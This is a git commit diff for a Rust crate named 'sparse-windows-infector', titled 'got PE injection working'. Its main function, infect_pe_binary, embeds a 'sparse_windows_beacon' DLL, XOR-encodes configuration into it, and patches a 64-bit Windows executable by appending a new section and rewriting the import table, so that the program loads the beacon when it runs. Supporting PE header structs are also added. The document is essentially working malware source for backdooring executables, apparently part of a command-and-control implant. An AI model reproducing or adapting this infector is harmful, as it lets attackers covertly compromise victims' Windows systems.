feat: got PE injection working
This commit is contained in:
@@ -4,3 +4,5 @@ edition = "2024"
|
||||
version.workspace = true
|
||||
|
||||
[dependencies]
|
||||
errno = "0.3.10"
|
||||
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||
|
||||
@@ -1,14 +1,405 @@
|
||||
pub fn add(left: u64, right: u64) -> u64 {
|
||||
left + right
|
||||
use std::{
|
||||
io::{prelude::*, Error, SeekFrom},
|
||||
path::Path,
|
||||
slice,
|
||||
};
|
||||
|
||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||
|
||||
mod pe_types;
|
||||
use pe_types::*;
|
||||
|
||||
macro_rules! dbgX {
|
||||
() => {
|
||||
eprintln!("[{}:{}:{}]", file!(), line!(), column!())
|
||||
};
|
||||
($val:expr $(,)?) => {
|
||||
// Use of `match` here is intentional because it affects the lifetimes
|
||||
// of temporaries - https://stackoverflow.com/a/48732525/1063961
|
||||
match $val {
|
||||
tmp => {
|
||||
eprintln!("[{}:{}:{}] {} = {:X?}",
|
||||
file!(), line!(), column!(), stringify!($val), &tmp);
|
||||
tmp
|
||||
}
|
||||
}
|
||||
};
|
||||
($($val:expr),+ $(,)?) => {
|
||||
($(dbgX!($val)),+,)
|
||||
};
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
#[cfg(not(debug_assertions))]
|
||||
pub const SPARSE_LIBRARY: &'static [u8] = include_bytes!(std::env!("SPARSE_LIBRARY"));
|
||||
#[cfg(debug_assertions)]
|
||||
pub const SPARSE_LIBRARY: &'static [u8] =
|
||||
include_bytes!("../../target/x86_64-pc-windows-gnu/debug/sparse_windows_beacon.dll");
|
||||
|
||||
#[test]
|
||||
fn it_works() {
|
||||
let result = add(2, 2);
|
||||
assert_eq!(result, 4);
|
||||
pub fn infect_pe_binary<BP, LP>(
|
||||
binary_path: BP,
|
||||
target_library_path: LP,
|
||||
mut sparse_parameters: Vec<u8>,
|
||||
) -> Result<(), Error>
|
||||
where
|
||||
BP: AsRef<Path>,
|
||||
LP: AsRef<Path>,
|
||||
{
|
||||
let mut sparse_library = SPARSE_LIBRARY.to_vec();
|
||||
|
||||
for b in sparse_parameters.iter_mut() {
|
||||
*b = *b ^ (XOR_KEY as u8);
|
||||
}
|
||||
|
||||
for i in 0..(sparse_library.len() - sparse_parameters.len()) {
|
||||
if sparse_library[i..(i + sparse_parameters.len())] == vec![b'B'; sparse_parameters.len()] {
|
||||
sparse_library[i..(i + sparse_parameters.len())].copy_from_slice(&sparse_parameters);
|
||||
}
|
||||
}
|
||||
|
||||
std::fs::write(&target_library_path, sparse_library)?;
|
||||
|
||||
let mut binary = std::fs::OpenOptions::new()
|
||||
.read(true)
|
||||
.write(true)
|
||||
.truncate(false)
|
||||
.open(&binary_path)
|
||||
.expect("Could not open binary path for infecting");
|
||||
|
||||
let mut binary_data = Vec::new();
|
||||
binary.read_to_end(&mut binary_data)?;
|
||||
|
||||
let header: &DOSHeader = unsafe { &*(binary_data.as_ptr() as *const _) };
|
||||
|
||||
let coff_header: &COFFHeader = unsafe {
|
||||
&*(binary_data
|
||||
.as_ptr()
|
||||
.offset(header.coff_header_offset as isize) as *const _)
|
||||
};
|
||||
|
||||
if coff_header.magic != *b"PE\x00\x00" {
|
||||
eprintln!("Could not find or parse COFF header!");
|
||||
panic!();
|
||||
}
|
||||
|
||||
let optional_header: &PEHeader = unsafe {
|
||||
let offset =
|
||||
header.coff_header_offset as isize + std::mem::size_of::<COFFHeader>() as isize;
|
||||
&*(binary_data.as_ptr().offset(offset) as *const _)
|
||||
};
|
||||
|
||||
if optional_header.magic != 0x020B {
|
||||
eprintln!("Binary is not a 64 bit PE!");
|
||||
panic!();
|
||||
}
|
||||
|
||||
let section_headers: &[SectionHeader] = unsafe {
|
||||
let offset = header.coff_header_offset as isize
|
||||
+ (std::mem::size_of::<COFFHeader>() + std::mem::size_of::<PEHeader>()) as isize;
|
||||
|
||||
let ptr = binary_data.as_ptr().offset(offset) as *const _;
|
||||
std::slice::from_raw_parts(ptr, coff_header.num_sections as usize)
|
||||
};
|
||||
|
||||
let section_headers_copy = section_headers.to_vec();
|
||||
|
||||
let headers_end = header.coff_header_offset as usize
|
||||
+ std::mem::size_of::<COFFHeader>()
|
||||
+ std::mem::size_of::<PEHeader>()
|
||||
+ (std::mem::size_of::<SectionHeader>() * coff_header.num_sections as usize);
|
||||
|
||||
let mut headers_bytes = binary_data[..headers_end].to_vec();
|
||||
|
||||
let header: &mut DOSHeader = unsafe { &mut *(headers_bytes.as_mut_ptr() as *mut _) };
|
||||
|
||||
let coff_header: &mut COFFHeader = unsafe {
|
||||
&mut *(headers_bytes
|
||||
.as_mut_ptr()
|
||||
.offset(header.coff_header_offset as isize) as *mut _)
|
||||
};
|
||||
|
||||
let optional_header: &mut PEHeader = unsafe {
|
||||
let offset =
|
||||
header.coff_header_offset as isize + std::mem::size_of::<COFFHeader>() as isize;
|
||||
&mut *(headers_bytes.as_mut_ptr().offset(offset) as *mut _)
|
||||
};
|
||||
|
||||
let section_headers: &mut [SectionHeader] = unsafe {
|
||||
let offset = header.coff_header_offset as isize
|
||||
+ (std::mem::size_of::<COFFHeader>() + std::mem::size_of::<PEHeader>()) as isize;
|
||||
|
||||
let ptr = headers_bytes.as_mut_ptr().offset(offset) as *mut _;
|
||||
std::slice::from_raw_parts_mut(ptr, coff_header.num_sections as usize)
|
||||
};
|
||||
|
||||
struct Section {
|
||||
name: [u8; 8],
|
||||
section_header_idx: usize,
|
||||
data: Vec<u8>,
|
||||
}
|
||||
|
||||
let mut sections = section_headers.iter().collect::<Vec<_>>();
|
||||
|
||||
sections.sort_by_key(|s| s.virtual_address);
|
||||
|
||||
let mut sections = sections
|
||||
.iter()
|
||||
.enumerate()
|
||||
.map(|(section_header_idx, sechdr)| Section {
|
||||
name: sechdr.name.clone(),
|
||||
section_header_idx,
|
||||
data: binary_data[sechdr.raw_data_ptr as usize
|
||||
..(sechdr.raw_data_ptr + sechdr.raw_data_size) as usize]
|
||||
.to_vec(),
|
||||
})
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
// modify the PE
|
||||
|
||||
let Some(import_table_section_idx) = section_headers.iter().position(|section| {
|
||||
(section.raw_data_ptr..(section.raw_data_ptr + section.raw_data_size))
|
||||
.contains(&optional_header.import_table.virtual_address)
|
||||
}) else {
|
||||
eprintln!("Could not find section with import table");
|
||||
panic!();
|
||||
};
|
||||
|
||||
println!(
|
||||
"Section with import table: {:?}",
|
||||
std::str::from_utf8(§ion_headers[import_table_section_idx].name)
|
||||
);
|
||||
|
||||
let start_index = optional_header.import_table.virtual_address
|
||||
- section_headers[import_table_section_idx].virtual_address
|
||||
+ section_headers[import_table_section_idx].raw_data_ptr;
|
||||
|
||||
let import_descriptors: *const ImportDescriptor =
|
||||
unsafe { binary_data.as_ptr().offset(start_index as isize) as *const _ };
|
||||
|
||||
let mut import_descriptor_count = 0;
|
||||
|
||||
println!(
|
||||
"Counting import table descriptors from {:x}",
|
||||
optional_header.import_table.virtual_address
|
||||
);
|
||||
|
||||
while unsafe {
|
||||
(*import_descriptors.offset(import_descriptor_count)).ilt_rva != 0
|
||||
|| (*import_descriptors.offset(import_descriptor_count)).time_date_stamp != 0
|
||||
|| (*import_descriptors.offset(import_descriptor_count)).forwarder_chain != 0
|
||||
|| (*import_descriptors.offset(import_descriptor_count)).name != 0
|
||||
|| (*import_descriptors.offset(import_descriptor_count)).first_thunk != 0
|
||||
} {
|
||||
import_descriptor_count += 1;
|
||||
}
|
||||
|
||||
let Some(new_virtual_address) = section_headers_copy
|
||||
.iter()
|
||||
.map(|sh| sh.virtual_address + sh.virtual_size)
|
||||
.max()
|
||||
else {
|
||||
eprintln!("Somehow, there were no section headers before now");
|
||||
panic!();
|
||||
};
|
||||
|
||||
let Some(first_section_loc) = section_headers_copy.iter().map(|sh| sh.raw_data_ptr).min()
|
||||
else {
|
||||
eprintln!("Somehow, there were no section headers before now");
|
||||
panic!();
|
||||
};
|
||||
|
||||
if (first_section_loc as usize) < headers_bytes.len() + std::mem::size_of::<SectionHeader>() {
|
||||
eprintln!("There is not enough room to add a new section header!");
|
||||
panic!();
|
||||
}
|
||||
|
||||
let new_virtual_address = new_virtual_address + optional_header.section_align;
|
||||
let new_virtual_address =
|
||||
new_virtual_address - (new_virtual_address % optional_header.section_align);
|
||||
|
||||
let new_raw_address = (binary_data.len() as u32) + optional_header.file_align;
|
||||
let new_raw_address = new_raw_address - (new_raw_address % optional_header.file_align);
|
||||
|
||||
let new_section_size = ((import_descriptor_count as u32 + 2) * std::mem::size_of::<ImportDescriptor>() as u32) // space for new import table
|
||||
+ (2 * 2 * std::mem::size_of::<ImageThunkData>() as u32) // space for new thunks to import compute_hash
|
||||
+ 256; // space for the name of the library
|
||||
|
||||
let new_section_size_aligned = new_section_size + optional_header.file_align;
|
||||
let new_section_size_aligned =
|
||||
new_section_size_aligned - (new_section_size % optional_header.file_align);
|
||||
|
||||
let mut new_section_buffer = vec![0; std::mem::size_of::<SectionHeader>()];
|
||||
let new_section: &mut SectionHeader =
|
||||
unsafe { &mut *(new_section_buffer.as_mut_ptr() as *mut SectionHeader) };
|
||||
|
||||
new_section.name = *b".import\0";
|
||||
new_section.virtual_size = new_section_size;
|
||||
new_section.virtual_address = new_virtual_address;
|
||||
new_section.raw_data_size = new_section_size_aligned;
|
||||
new_section.raw_data_ptr = new_raw_address;
|
||||
new_section.relocations_ptr = 0x0;
|
||||
new_section.line_numbers_ptr = 0x0;
|
||||
new_section.num_relocations = 0x0;
|
||||
new_section.num_line_nums = 0x0;
|
||||
new_section.characteristics = 0xE0000060;
|
||||
|
||||
coff_header.num_sections += 1;
|
||||
optional_header.image_size +=
|
||||
optional_header.file_align * (new_section_size / optional_header.file_align);
|
||||
|
||||
println!("Adding new section header!");
|
||||
|
||||
headers_bytes.extend(new_section_buffer);
|
||||
|
||||
let header: &mut DOSHeader = unsafe { &mut *(headers_bytes.as_mut_ptr() as *mut _) };
|
||||
|
||||
let coff_header: &mut COFFHeader = unsafe {
|
||||
&mut *(headers_bytes
|
||||
.as_mut_ptr()
|
||||
.offset(header.coff_header_offset as isize) as *mut _)
|
||||
};
|
||||
|
||||
let optional_header: &mut PEHeader = unsafe {
|
||||
let offset =
|
||||
header.coff_header_offset as isize + std::mem::size_of::<COFFHeader>() as isize;
|
||||
&mut *(headers_bytes.as_mut_ptr().offset(offset) as *mut _)
|
||||
};
|
||||
|
||||
let section_headers: &mut [SectionHeader] = unsafe {
|
||||
let offset = header.coff_header_offset as isize
|
||||
+ (std::mem::size_of::<COFFHeader>() + std::mem::size_of::<PEHeader>()) as isize;
|
||||
|
||||
let ptr = headers_bytes.as_mut_ptr().offset(offset) as *mut _;
|
||||
std::slice::from_raw_parts_mut(ptr, coff_header.num_sections as usize)
|
||||
};
|
||||
|
||||
let import_descriptors =
|
||||
unsafe { std::slice::from_raw_parts(import_descriptors, import_descriptor_count as usize) }
|
||||
.to_vec();
|
||||
|
||||
let mut import_section = Section {
|
||||
name: *b".import\0",
|
||||
section_header_idx: section_headers.len() - 1,
|
||||
data: vec![],
|
||||
};
|
||||
|
||||
import_section.data.extend(
|
||||
unsafe {
|
||||
std::slice::from_raw_parts(
|
||||
import_descriptors.as_ptr() as *const u8,
|
||||
std::mem::size_of::<ImportDescriptor>() * import_descriptors.len(),
|
||||
)
|
||||
}
|
||||
.to_vec(),
|
||||
);
|
||||
|
||||
let new_import_directory_offset = import_section.data.len();
|
||||
import_section
|
||||
.data
|
||||
.extend(vec![0; 2 * std::mem::size_of::<ImportDescriptor>()]);
|
||||
|
||||
let new_int_offset = import_section.data.len();
|
||||
import_section
|
||||
.data
|
||||
.extend(vec![0; 2 * std::mem::size_of::<ImageThunkData>()]);
|
||||
|
||||
let new_iat_offset = import_section.data.len();
|
||||
import_section
|
||||
.data
|
||||
.extend(vec![0; 2 * std::mem::size_of::<ImageThunkData>()]);
|
||||
|
||||
unsafe {
|
||||
let iat = import_section
|
||||
.data
|
||||
.as_mut_ptr()
|
||||
.offset(new_iat_offset as isize);
|
||||
|
||||
*iat = 0x02;
|
||||
*(iat.offset(7)) = 0x80;
|
||||
};
|
||||
|
||||
let file_name = target_library_path
|
||||
.as_ref()
|
||||
.file_name()
|
||||
.expect("library path must not be a root directory");
|
||||
|
||||
let lib_name_offset = import_section.data.len();
|
||||
import_section.data.extend(file_name.as_encoded_bytes());
|
||||
import_section.data.push(0x00);
|
||||
|
||||
let lib_func_name_offset = import_section.data.len();
|
||||
import_section.data.push(0x02);
|
||||
import_section.data.push(0x00);
|
||||
import_section.data.extend(b"compute_hash");
|
||||
|
||||
import_section
|
||||
.data
|
||||
.extend(&vec![0u8; 256 - (file_name.len() + 15)]);
|
||||
|
||||
import_section.data.extend(&vec![
|
||||
0u8;
|
||||
new_section_size_aligned as usize
|
||||
- import_section.data.len()
|
||||
]);
|
||||
|
||||
let new_import_directory_ptr = unsafe {
|
||||
&mut *(import_section
|
||||
.data
|
||||
.as_mut_ptr()
|
||||
.offset(new_import_directory_offset as isize) as *mut ImportDescriptor)
|
||||
};
|
||||
|
||||
let import_section_header = §ion_headers[section_headers.len() - 1];
|
||||
|
||||
import_section.data[new_int_offset..new_int_offset + 8].copy_from_slice(&u64::to_le_bytes(
|
||||
(import_section_header.virtual_address + lib_func_name_offset as u32) as u64,
|
||||
));
|
||||
|
||||
new_import_directory_ptr.ilt_rva =
|
||||
import_section_header.virtual_address + new_int_offset as u32;
|
||||
new_import_directory_ptr.first_thunk =
|
||||
import_section_header.virtual_address + new_iat_offset as u32;
|
||||
new_import_directory_ptr.name = import_section_header.virtual_address + lib_name_offset as u32;
|
||||
|
||||
optional_header.import_table.virtual_address = import_section_header.virtual_address;
|
||||
|
||||
sections.push(import_section);
|
||||
|
||||
// rebuild the PE
|
||||
|
||||
let mut target = std::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.truncate(true)
|
||||
.create(true)
|
||||
.open("test/target.exe")?;
|
||||
|
||||
target.write_all(&headers_bytes)?;
|
||||
|
||||
let mut curr_ptr = headers_bytes.len();
|
||||
|
||||
for section in §ions {
|
||||
let header = section_headers[section.section_header_idx];
|
||||
|
||||
println!("{:?}", std::str::from_utf8(&header.name));
|
||||
dbgX!(header.raw_data_ptr, curr_ptr);
|
||||
let padding_needed = header.raw_data_ptr as usize - curr_ptr;
|
||||
|
||||
target.write_all(&vec![0; padding_needed])?;
|
||||
curr_ptr = header.raw_data_ptr as usize;
|
||||
|
||||
target.write_all(§ion.data)?;
|
||||
curr_ptr += section.data.len();
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn rva_to_offset(section_headers: &[SectionHeader], rva: u32) -> u32 {
|
||||
section_headers
|
||||
.iter()
|
||||
.find_map(|sh| {
|
||||
Some(rva - sh.virtual_address + sh.raw_data_ptr).filter(|_| {
|
||||
(sh.virtual_address..(sh.virtual_address + sh.virtual_size)).contains(&rva)
|
||||
})
|
||||
})
|
||||
.unwrap_or(rva)
|
||||
}
|
||||
|
||||
123
sparse-windows-infector/src/pe_types.rs
Normal file
123
sparse-windows-infector/src/pe_types.rs
Normal file
@@ -0,0 +1,123 @@
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
pub struct DOSHeader {
|
||||
pub header: [u8; 2],
|
||||
pub e_cblp: u16,
|
||||
pub e_cp: u16,
|
||||
pub e_crlc: u16,
|
||||
pub e_cparhdr: u16,
|
||||
pub e_minalloc: u16,
|
||||
pub e_maxalloc: u16,
|
||||
pub e_ss: u16,
|
||||
pub e_sp: u16,
|
||||
pub e_csum: u16,
|
||||
pub e_ip: u16,
|
||||
pub e_cs: u16,
|
||||
pub e_lfarlc: u16,
|
||||
pub e_ovno: u16,
|
||||
pub res: [u16; 4],
|
||||
pub e_oemid: u16,
|
||||
pub e_oeminfo: u16,
|
||||
pub res2: [u16; 10],
|
||||
pub coff_header_offset: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
pub struct COFFHeader {
|
||||
pub magic: [u8; 4],
|
||||
pub machine_type: u16,
|
||||
pub num_sections: u16,
|
||||
pub timestamp: u32,
|
||||
pub symbtable: u32,
|
||||
pub num_symbols: u32,
|
||||
pub size_of_optional_header: u16,
|
||||
pub characteristics: u16,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
pub struct PEDataDirectoryEntry {
|
||||
pub virtual_address: u32,
|
||||
pub size: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
pub struct PEHeader {
|
||||
pub magic: u16,
|
||||
pub maj_link_vers: u8,
|
||||
pub min_link_vers: u8,
|
||||
pub code_size: u32,
|
||||
pub init_data_size: u32,
|
||||
pub entry_point: u32,
|
||||
pub base_of_code: u32,
|
||||
pub image_base: u64,
|
||||
pub section_align: u32,
|
||||
pub file_align: u32,
|
||||
pub maj_os_vers: u16,
|
||||
pub min_os_vers: u16,
|
||||
pub maj_img_vers: u16,
|
||||
pub min_img_vers: u16,
|
||||
pub maj_subsys_vers: u16,
|
||||
pub min_subsys_vers: u16,
|
||||
pub win32_vers: u32,
|
||||
pub image_size: u32,
|
||||
pub header_size: u32,
|
||||
pub checksum: u32,
|
||||
pub subsys: u16,
|
||||
pub dllcharecteristics: u16,
|
||||
pub stack_reserve_size: u64,
|
||||
pub stack_commit_size: u64,
|
||||
pub heap_reserve_size: u64,
|
||||
pub heap_commit_size: u64,
|
||||
pub loader_flags: u32,
|
||||
pub rva_num: u32,
|
||||
pub export_table: PEDataDirectoryEntry,
|
||||
pub import_table: PEDataDirectoryEntry,
|
||||
pub resource_table: PEDataDirectoryEntry,
|
||||
pub exception_table: PEDataDirectoryEntry,
|
||||
pub certificate_table: PEDataDirectoryEntry,
|
||||
pub base_relro_table: PEDataDirectoryEntry,
|
||||
pub debug_table: PEDataDirectoryEntry,
|
||||
pub architecture_table: PEDataDirectoryEntry,
|
||||
pub global_ptr_table: PEDataDirectoryEntry,
|
||||
pub tls_table: PEDataDirectoryEntry,
|
||||
pub config_table: PEDataDirectoryEntry,
|
||||
pub bound_table: PEDataDirectoryEntry,
|
||||
pub iat_table: PEDataDirectoryEntry,
|
||||
pub delay_import_table: PEDataDirectoryEntry,
|
||||
pub clr_table: PEDataDirectoryEntry,
|
||||
pub reserved_table: PEDataDirectoryEntry,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Copy, Clone, Debug)]
|
||||
pub struct SectionHeader {
|
||||
pub name: [u8; 8],
|
||||
pub virtual_size: u32,
|
||||
pub virtual_address: u32,
|
||||
pub raw_data_size: u32,
|
||||
pub raw_data_ptr: u32,
|
||||
pub relocations_ptr: u32,
|
||||
pub line_numbers_ptr: u32,
|
||||
pub num_relocations: u16,
|
||||
pub num_line_nums: u16,
|
||||
pub characteristics: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Copy, Clone, Debug)]
|
||||
pub struct ImportDescriptor {
|
||||
pub ilt_rva: u32,
|
||||
pub time_date_stamp: u32,
|
||||
pub forwarder_chain: u32,
|
||||
pub name: u32,
|
||||
pub first_thunk: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Copy, Clone, Debug)]
|
||||
pub struct ImageThunkData {
|
||||
pub ordinal: u64,
|
||||
}
|
||||
Reference in New Issue
Block a user